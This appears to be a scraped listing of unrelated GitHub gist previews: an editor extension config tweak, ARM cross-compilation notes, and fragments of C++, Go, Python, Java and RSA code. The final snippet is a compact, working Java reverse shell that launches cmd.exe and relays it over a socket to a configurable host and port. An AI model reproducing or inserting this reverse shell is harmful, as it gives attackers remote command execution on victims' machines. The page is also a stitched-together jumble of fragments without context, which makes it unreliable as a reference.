Remove this condition "when": "workspacePlatform == windows"
%USERPROFILE%\.cursor\extensions\ms-vscode.cpptools-1.23.5-win32-x64\package.json
"type": "cppvsdbg",
"label": "C++ (Windows)",
"when1": "workspacePlatform == windows",What you'll see now is the option to select your Windows version and language, and it'll download the ISO.
| //=================================================================== | |
| // File: circular_buffer.cpp | |
| // | |
| // Desc: A Circular Buffer implementation in C++. | |
| // | |
| // Copyright © 2019 Edwin Cloud. All rights reserved. | |
| // | |
| //=================================================================== | |
| //------------------------------------------------------------------- |
You might want to read this to get an introduction to armel vs armhf.
If the below is too much, you can try Ubuntu-ARMv7-Qemu but note it contains non-free blobs.
First, cross-compile user programs with GCC-ARM toolchain. Then install qemu-arm-static so that you can run ARM executables directly on linux
If there's no qemu-arm-static in the package list, install qemu-user-static instead
| package main | |
| import ( | |
| "github.com/kardianos/service" | |
| "log" | |
| "flag" | |
| ) | |
| type Service struct {} |
| #include <event2/bufferevent.h> | |
| #include <event2/buffer.h> | |
| #include <event2/event.h> | |
| #include <event2/dns.h> | |
| #include <arpa/inet.h> | |
| #include <iostream> | |
| using namespace std; |
| # TAKEN FROM: http://alexapps.net/python-tornado-simple-tcp-server | |
| import socket | |
| import tornado.gen | |
| import tornado.ioloop | |
| import tornado.iostream | |
| import tornado.tcpserver | |
| class SimpleTcpClient(object): |
| int X_MAX = 412; | |
| int Y_MAX = 50; | |
| int x, y; | |
| x = random.nextInt(X_MAX); | |
| y = random.nextInt(Y_MAX); | |
| // String htmlEventJs = "var ev = document.createEvent(\"HTMLEvents\"); " + | |
| // "var el = document.elementFromPoint(%d,%d); " + | |
| // "ev.initEvent('click',true,true);" + | |
| // " el.dispatchEvent(ev);"; |
| import rsa | |
| import base64 | |
| # modulus in integer | |
| MODULUS = 123456789996582395910301286053968077124788323801012630967456380836472396333396466272319708473453610663848909708214595391668878270127153659315097128748348977528953482874935452127643776505027944666257946919553474879512809890824078158244248097149714260265207481163611166304138228724039676901039297181889888815151 | |
| # exponent in integer | |
| EXPONENT = 65537 | |
| PUBLIC_KEY = rsa.PublicKey(MODULUS, EXPONENT) |
| String host="localhost"; | |
| int port=8044; | |
| String cmd="cmd.exe"; | |
| Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); |